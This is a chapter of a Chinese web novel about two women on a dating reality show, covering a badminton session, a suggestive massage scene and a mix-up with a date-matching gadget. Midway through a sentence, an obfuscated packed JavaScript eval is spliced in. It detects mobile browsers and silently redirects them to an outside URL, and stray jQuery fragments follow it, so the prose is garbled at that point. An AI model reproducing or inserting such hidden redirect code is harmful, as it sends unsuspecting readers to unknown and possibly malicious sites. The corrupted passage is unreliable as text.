然而被程时鸢选择、得到了她偏爱的人,面上却似乎没有属于胜利者的喜悦。
程时鸢终于走出那条黑暗走廊,在节目组的镜头前亮相之后,看着谢栀清异常沉默的模样,有些苦恼地皱了皱鼻子。
直到她们熟悉节目组安排的住处时,发现一片很开阔的室内球场。
程时鸢恍然大悟地回忆起,今早为了跟她一起来录节目,谢栀清连晨跑时长都比以往更短——大型犬类每日的活动量如果不达标,可能会出现心理健康问题。
她立即翻出一副羽毛球拍。
塞进了谢栀清手中。
随后扭过头,思索着怎么样能骗到一个倒霉的工作人员,来当谢栀清的陪练。
不过,对方似乎并没有更换饲主的打算。
半小时后。
程时鸢顶着头上那个该死的、和谢栀清离开一米就会无情往下掉血的生命值,偏偏对方故意要把她当风筝放,拉着对角线让她像条狗一样、满场跑着接球。
她手腕发抖,目光涣散,雪白鼻尖沁出细细的汗珠。
眼见又一记被高高吊起的球,跃过拦网,朝她这边打来,如果不快速奔跑后撤,起跳接球,这颗球必定会打在出界线内让她丢分——
程时鸢却看也不看,反而朝着球的相反方向,拦网对面的“对手”那侧跑去。
“球不在这。”
“你犯规了。”
比起她狼狈的、浑身肌肤都在剧烈运动中泛红的模样,站在网那边同样运动了半小时的谢栀清,面上颈间却不见半滴汗意。
那双黑眸沉静如渊,甚至还无聊地用手腕转了下球拍。
“我认输嘛……”程时鸢说话的声音打着颤,双腿连膝弯都失去支撑力气,跌坐在地上,就这样仰头看着谢栀清,气息发飘地宣布:“你、赢啦。”
她勉强顿了顿,看了眼头顶好不容易通过肢体接触加上去的生命值,又被谢栀清刚才拉开距离的球打回原先数值,颇有些无奈地勾了勾唇。
却又重复道:“你赢了,谢栀清。”
她执着地询问:“你不为此感到高兴吗?”
童话故事里的恶龙,想要抢走公主,可是需要和勇士们搏斗、变得伤痕累累还不一定能抢赢,而现在是公主主动选择跳进恶龙的怀抱里,甚至还帮着她斩杀了敌人,她还有什么不满意的?
是嫌弃得到奖励还不够多吗?
真难哄啊。
程时鸢这样想着,长长地吐出一口气,并不在意周围的镜头,丢开球拍,朝着谢栀清伸出了双手,笑靥如花地发出了请求:
“我实在没力气了。”
“要不,你背我回去吧?”
谢栀清冷淡的黑眸,居高临下地映出,在她阴影之下的这道娇小身形。
不足巴掌大的面庞,满带汗意、沾着碎发,却让人莫名联想到枝头被暴晒过,又淋了雨的蜜桃,让人馋得牙根发痒,只想在它熟透前狠狠咬一口,尝透那甘甜汁液和软肉。
舌尖因此抵了下后槽牙,她的目光更为深沉。
谢栀清闭了闭眼睛,却依然无法抵御胸口里因此翻滚起来的情与欲,等到反应过来时,身体早已习惯听从这人发出的指令,背对着程时鸢,半蹲了下去。
颀长的、高挑的身影,驯服地低下了头。
束起的顺滑黑发落在肩头,看到实在很好摸。
程时鸢趴到她背上的时候,没忍住抬起手,重温谢栀清健康、柔顺的发质,像抚摸着布艺店珍藏的绸缎。
节目组很喜欢她们俩这对只在参观小屋期间,就自动自觉开始发糖的cp,十多个摄像头从四面八方贴过来,不放过她们之间每一个小动作。
程时鸢因此感觉到身下人因为不自在,而渐渐紧绷的背肌。
于是忽然觉得,掌心只能摸到冰冷黑发,好像还不够。
如果增加更多的接触面积,生命值能够被续得更多吗?
自顾自地找好了正当理由,她便舔了舔唇,像是不经意地,出声提及:“刚才好像还看到这里有桑拿和汗蒸房,我好久没有试过这些了,要不要一起去看看好不好用?”
太过私密的场所,摄像头就不好跟进去了。
谢栀清自然听懂了她打的小算盘。
薄唇一抿,终归没有说出到嘴边的那一句“运动过后,不宜汗蒸”。
于是,程时鸢一踏进那层木式的、连通着汗蒸房的专门楼层之后,迫不及待地就想直奔目的地,结果被谢栀清强行扭送到淋浴间。
差点忘记了这家伙还有洁癖——
想到谢栀清运动期间一天三遍澡打底,程时鸢进了淋浴间之后,扒拉着门没放,眨巴着眼睛看外面的人:“我洗很快的,你就站在这里等我哦,不许走远,等下我也会等你的。”
幼稚地,像是因为怕一些无聊的鬼故事,所以要手拉手一起排队上厕所的小学生。
谢栀清没有吭声。
程时鸢却知道她不会拒绝,所以并未让她等太久,匆匆冲完就裹着浴巾出来宣布:“轮到你了~”
但面前的人却和她有不同的打算:“你体力太差,运动之后如果不放松肌肉,明天估计起不来。”
想起谢栀清好像之前考过什么运动医师资格证之类的东西,程时鸢很难拒绝这种专业的诱惑。
何况,如果先让谢栀清帮忙放松肌肉,再一起去汗蒸,她岂不是能够在刚才的地狱陪练之后,获得双份奖励!
程时鸢:我爽两次!
……
不对,好像上当了。
“别这么重……你轻一点。”
趴在长椅上的程时鸢,挣扎着伸出手,闷哼着、想要逃离身后的魔爪。
谢栀清面无表情地看着那片雪白的后背,只被她指腹随意一按,一捻,就像在白布上烙下了一朵刺眼的红梅花瓣,偏偏这人的肌肤比布更薄更嫩。
犹如一团流动的云,与她那些皮糙肉厚,筋骨硬朗的搭档们截然不同。
于是谢栀清总觉得只是刚刚挨到她的肌肤,就听见了程时鸢哼唧的抗议声,有一瞬间,她甚至怀疑自己是被碰瓷了,于是忍不住顺着筋络,加了一分力——
下一刹。
掌下之人几乎弹射起步,扒拉着长椅,不顾形象地膝行逃跑:“我我我不按了……我不要我不要……!”
谢栀清只伸出一根食指,就勾住了她的浴袍后领。
“别乱动。”
她无情地将人拽回来,按着后颈,押回长椅上。
像是自然界里叼着小兽后颈,警告不许乱动的大猛兽。
瞥了眼因为无法安放摄像头,节目组不死心地、退而求其次摆进来的收音设备,谢栀清想到刚才那几声黏腻的,极易让人浮想联翩的声响。
按在后颈掌心上移,沿着精致细腻的下颌,抚上那柔软的双唇,她语气平静地问:“要我帮忙吗?”
程时鸢想象了一下被她从后面捂住唇的画面,狠狠打了个寒颤。
如果没办法吭声的话,这家伙下手肯定不知轻重,搞不好今天能把她按死在这张椅子上。
她使劲地摇头,头一次在被对方触碰时,选择扯下唇边的那只手。
跟着看了眼放在不远处的设备,恨恨低头,主动地咬住了自己的浴袍衣角,含糊不清地,放软了声音:
“轻一点……我受不住你的力气……”
其实粘连的肌肉和筋膜已经松解得差不多了。
但谢栀清却没有透露,而是在她的示弱中,俯身靠近,压低的声音,轻飘飘地落入那只不知因为疼还是热,泛着红的耳朵里:
“受不住也受着。”
“这不是你自己选的吗?”
想到先前,程时鸢在那条黑暗的走廊里,因为一条“不喜欢太凶的类型”,就转而从夏知燃的身边,走向她这里,谢栀清心中不见半分喜悦,只有一种荒谬感。
她看着身下这道娇弱的身躯,明明运动能力不及她,聪明程度也比不过夏知燃,却能将她们俩都耍得团团转——
就像在两条争斗的恶犬面前,只敷衍地拿了一顶纸叠的帽子,撒下一把狗粮,就象征地宣布其中一条获得胜利。
谢栀清怎么可能忍下这口恶气?
她伸出手,沿着脊柱,重新按上程时鸢后腰处敏感的、又对疼痛反应强烈的区域,在对方喉间再度泄出的,压抑到极致而无法忍耐的声音里。
一口咬上了那只通红的耳廓。
甚至刻意用利齿磨了磨,想要验证尝到的滋味,是否如先前看到的那般甜美。
“唔——!”
掌心下,细腻的皮肉哆哆嗦嗦地在发抖。
仿佛因为被养的忠诚宠物反咬一口,而感到不可置信的主人。
于是谢栀清的声音,含着轻微的笑意,钻入那只耳朵里:“把别人当狗一样戏弄的时候,没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505954|170482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想过会被狗咬吗?”
程时鸢指尖攥紧衣角,力道大得手指都泛白,耳朵里的气息又冷又热,后腰又痛又痒,偏偏身体还在这种对待里,因为生命值得到延续而感到舒适快意。
感官遭受到的剧烈拉扯,让她难得露出无所适从的茫然模样。
连什么时候流出了眼泪都没发现。
但孱弱的身体能承受住的刺激,终归有限,察觉到身后的人好像仍然对收获的这一切并不满意,粗糙的、带着茧的掌心,再度于她幼嫩的肌肤上开始摩挲时。
程时鸢膝盖本能地动了动。
随后,踝骨就被一只大掌给攥住。
“别乱爬。”
“趴好。”
谢栀清警告道。
听见这冷冽的、故意凶狠的声音,程时鸢心知这是对自己那句“不喜欢凶的类型”的刻意报复,却莫名感到一点委屈,下意识地伸手想要推开她。
掌心胡乱地抵,无意间按上一片好似柔软、却又很快绷紧的皮肤上。
她甚至能触摸到肌肉紧绷成型的缝隙与纹路。
程时鸢手指莫名缩了下。
从谢栀清的角度低头,能轻易看到她放在自己腹肌上乱抓的手。
她自嘲地扯了下唇角,没想到程时鸢死性不改,竟然在这种情况下,不顾她的心情,自私地使出这些勾引人的手段。
她声音里冷意更盛:“睁开眼睛看清楚。”
“我可不是你那堆能随便睡的前任。”
程时鸢被她的怒火烧得莫名其妙。
虽然和谢栀清的恋情,是从年少时就分分合合延续至今,但她从不会轻易对这人发出床.事方面的邀请。
她活腻了吗?和谢栀清这个下手没轻重的狗东西上.床?
这个从以前到现在,除了自己,没和其他任何人交往过的家伙,能把床上得明白吗?能找着地方吗?知道用几根手指让她舒服吗?
程时鸢抬手揉了揉被她咬过的耳朵,摸到几粒深深的牙印痕迹,回忆起她刚才恨不得把自己吃肉拆骨吞下去的架势,哂笑着想,把她当成狗有什么问题?
还是那种超级难哄、又难喂饱的坏狗。
放在以前,程时鸢早就不伺候了,这会儿也是臭着脸从椅子上坐起来,刚想点评她的按摩技术又臭又菜,自己准备给一星差评——
脚下却不知踢到长椅下的什么东西,发出了剧烈的声响。
“嘟嘟嘟嘟!!”
两人都被这突如其来的声响转移了注意力,程时鸢干脆拎起那个设备,拢了拢衣袍,就开门去问外面的节目组工作人员。
“恭喜程老师发现了我们节目的''约会道具之一'',恋爱红绿灯!”
程时鸢:“?”
看出她疑惑,工作人员立即解释道:“这是我们随机布置的小惊喜,每栋小屋里都有,发现的人可以选择按下它的红、黄、绿三盏灯之一。”
“如果在你亮灯期间,有嘉宾也找到同样的设备,并且跟你亮起一样的灯颜色,你们双方就可以得到一场专属的浪漫约会安排哦~”
程时鸢当机立断,按亮了手中的绿灯。
然后转头朝谢栀清扬了扬眉头。
她仿佛完全不记得刚才被对方说了怎样难听的话,格外大度地开口道:“我就这样一直亮着,直到陪你找到另一盏灯哦?”
哼哼,坏狗赶紧被她不计前嫌还主动发出约会邀请的大方姿态打动,然后低下头来给她主动道歉认错!
她知道谢栀清向来吃软不吃硬。
然而这一次,打破她计划的并非谢栀清。
而是手中开始再度吱哇乱叫的灯,并且亮起的绿色还变得愈发鲜明!就像一顶闪亮的绿帽!
她的疑惑眼神还没冒出,旁边的恋综工作人员已经学会了抢答:
“程老师恭喜你!已经成功匹配到了约会嘉宾——”
程时鸢还没反应过来。
嗯嗯嗯??不对啊,谢栀清这不是还没找到另一盏灯吗?
她从工作人员的眼神里看到了藏不住的幸灾乐祸,同时,对方举起了宣布流程的大喇叭:
“恭喜程时鸢、夏知燃两位嘉宾用''爱情绿灯''匹配成功!获得专属约会奖励一次~”
程时鸢:“……”
程时鸢:“…………”
她看见了。
谢栀清的脸色,比她手里的绿灯,还要绿。